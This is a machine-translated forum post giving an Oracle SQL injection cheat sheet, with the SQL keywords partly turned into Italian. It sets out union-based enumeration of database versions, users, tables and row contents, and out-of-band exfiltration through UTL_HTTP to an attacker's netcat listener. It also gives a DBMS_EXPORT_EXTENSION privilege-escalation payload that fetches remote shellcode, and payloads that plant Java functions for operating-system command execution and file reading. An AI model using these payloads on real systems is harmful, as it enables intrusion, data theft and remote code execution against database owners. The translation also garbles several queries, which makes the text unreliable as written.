Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 11931|Risposta: 0

[Comunicazione sicura] SQL injection note oracolo

[Copiato link]
Pubblicato su 24/01/2015 12:58:17 | | |
Questo post è stato modificato l'ultima volta da test il 24-1-2015 alle 13:01

Commento: --
L'esecuzione di frasi multiple non è supportata e sono supportate le query federate
I nomi dei database, delle tabelle e delle colonne sono tutti maiuscoli.


lunghezza(campo)
ascii(sottostra (campo, N, 1))


e (seleziona count(*) dal duale)>0 -- Determina se è oracolo o meno

Ordine di N--

e 1=2 unione seleziona nullo, nullo,.....,nullo da duale-- sostituisci nullo con N o 'N'

e 1=2 union select null, (istruzione sql) ,.....,null da duale -- cambia a (istruzione sql) a 'N'

e (seleziona count(*) da all_objects dove object_name='UTL_HTTP')>0 -- Determinare se il UTL_HTTP è supportato (l'IP di esportazione è noto)

e UTL_HTTP.request('http://LocalIP:port'|| (istruzione SQL)) =1-- Inviare messaggi da remoto a ascolto locale nc -vv -l -p 1234


Istruzioni SQL
Seleziona il banner da sys.v_$version, dove rownum=1 per consultare la versione dell'oracolo
select member da v$logfile dove rownum=1 Consulta il percorso del file di log (Windows o Linux)
seleziona utl_inaddr.get_host_address da dual per interrogare l'IP di ascolto del database
Seleziona instance_name da v$instance per interrogare il sid
seleziona nome da v$database Consulta il nome attuale del database
seleziona sys_context ('userenv','current_user') tra gli utenti del database di dual query
seleziona * da session_roles dove rownum=1 per interrogare i permessi utente attuali
seleziona * da session_roles dove rownum=1 [e ruolo<>'nome del primo permesso']



seleziona table_name da user_tables dove rownum=1 Il primo segmento di tabella del database corrente
seleziona table_name||','|| tablespace_name da user_tables dove rownum=1 Primo segmento di tabella, database (per verificare potrebbe non essere v$database)
seleziona table_name da user_tables dove rownum=1 e table_name<>'primo segmento di tabella' Il secondo segmento di tabella del database corrente

seleziona column_name da user_tab_columns dove rownum=1 e table_name='Segmento della tabella' Il primo campo corrispondente al nome della tabella
seleziona column_name da user_tab_columns dove rownum=1 e table_name='Segmento della tabella' e column_name<>'Primo campo' Il secondo campo corrispondente al nome della tabella

Seleziona il campo dal segmento della tabella dove rownum=1 viola il contenuto della prima riga
seleziona il campo dal segmento della tabella dove rownum=1 e il campo <> 'contenuto della prima riga' espone il contenuto della seconda riga


Incrocio tra biblioteche
seleziona proprietario da all_tables dove rownum=1 interroga il primo nome del database
seleziona proprietario da all_tables dove rownum=1 e proprietario<> 'Primo nome database' per consultare il secondo nome database

seleziona table_name da all_tables dove rownum=1 e owner='nome database' Consulta il nome della prima tabella del database corrispondente
Seleziona table_name da all_tables dove rownum=1 e proprietario='nome database' e table_name<>'nome della prima tabella' per consultare il secondo nome della tabella del database corrispondente

seleziona column_name da all_tab_columns dove rownum=1 e owner='nome database' e table_name='segmento della tabella' Il primo campo corrispondente al nome della tabella
seleziona column_name da all_tab_columns dove rownum=1 e owner='nome database' e table_name='segmento della tabella' e column_name<>'primo campo' Il secondo campo corrispondente al nome della tabella

Seleziona il campo dal database. segmento di tabella dove rownum=1 viola il contenuto della prima riga
Seleziona il campo dal database. Il segmento di tabella dove rownum=1 e il campo <> 'Contenuto della prima riga' viola il contenuto della seconda riga





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); END a più istruzioni di più elementi; --','SYS',0,'1',0)--

Se 'è scappato, si usa chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-istruzioni || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Se più frasi sono troppo lunghe, puoi scrivere la dichiarazione nel file del sito web e usare utl_http.request per recuperarla.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Crea un pacchetto JAVA SecTest
runCMD viene utilizzato per eseguire comandi di sistema
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE" DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE'' crea o sostituisci e compila il codice sorgente Java denominato "SecTest" come import java.io.*; la classe pubblica SecTest estende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Stringa stemp,str=""; while((stemp=miaReader.readLine())!=null) str+=stemp+"\n"; mioReader.close(); ritorna forza; }catch(Eccezione e){return e.toString(); }}}''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--

readFile viene usato per leggere il file
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE" DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE'' crea o sostituisci e compila il codice sorgente Java denominato "SecTest" come import java.io.*; la classe pubblica SecTest estende Object{public static String readFile(Stringname){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Stringa stemp,str=""; while((stemp=miaReader.readLine())!=null) str+=stemp+"\n"; mioReader.close(); ritorna forza; }catch(Eccezione e){return e.toString(); }}}''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--



Concedere permessi Java
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''inizia dbms_java.concedere_permesso(''''''''PUBBLICO'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TUTTI FILE>>'''''''',''''''''eseguire''''''''); fine; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--



Creare una funzione
Funzione SecRunCMD
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''crea o sostituisci funzione SecRunCMD(p_cmd in varchar2) return varchar2 come linguaggio nome java''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--

Funzione SecReadFile
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUI IMMEDIATAMENTE '''' crea o sostituisci funzione SecReadFile(nome file in varchar2) ritorna varchar2 come linguaggio nome java''''''''SecTest.readFile(java.lang.String) restituisci String' '''''''; ''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--



Concedere il permesso di svolgere la funzione pubblica
A SecRunCMD vengono concessi i permessi
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA A ESEGUIRE IMMEDIATAMENTE '''concede tutto su SecRunCMD al pubblico'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--

SecReadFile
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE ''''concede tutto su SecReadFile al pubblico'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--



Rileva se la funzione è stata creata con successo
e (seleziona count(*) da all_objects dove object_name='SECRUNCMD')>0--
e (seleziona count(*) da all_objects dove object_name='SECREADFILE')>0--



Esegui il comando
e '1'<> (seleziona sys. SecRunCMD('Comando Esegui') da dual)--
e '1'<> (seleziona sys. SecReadFile ('indirizzo fisico del file') da dual)--
o
e 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null da dual--
e 1=2 union select null,...,sys. SecReadFile('indirizzo fisico del file'),...,null da dual--
o
e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SOSTITUIRE(SOSTITUIRE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) da dual)--
e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SOSTITUIRE(SOSTITUIRE(sys. SecReadFile('File Physical Address'),' ',' ','\n',' ')) da dual)--



Funzione di cancellazione
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE '''funzione drop SecRunCMD''''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--
e '1'<>'a'|| (seleziona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); ESEGUIRE IMMEDIATAMENTE ''DICHIARARE PRAGMA AUTONOMOUS_TRANSACTION; INIZIA ESEGUIRE IMMEDIATAMENTE '''funzione drop SecReadFile'''; FINE; ''; FINE; --','SYS',0,'1',0) da dual)--




Precedente:Posso richiedere la moderazione, quali condizioni mi servono?
Prossimo:ORALCE ottiene il nome host e l'indirizzo IP
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com